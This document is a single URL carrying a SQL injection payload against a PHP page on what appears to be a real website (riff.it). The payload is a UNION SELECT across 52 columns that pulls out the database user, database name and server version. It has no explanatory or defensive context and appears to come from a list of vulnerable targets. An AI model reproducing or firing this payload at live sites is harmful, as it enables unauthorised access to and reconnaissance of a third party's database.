http://www.riff.it/php/show.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52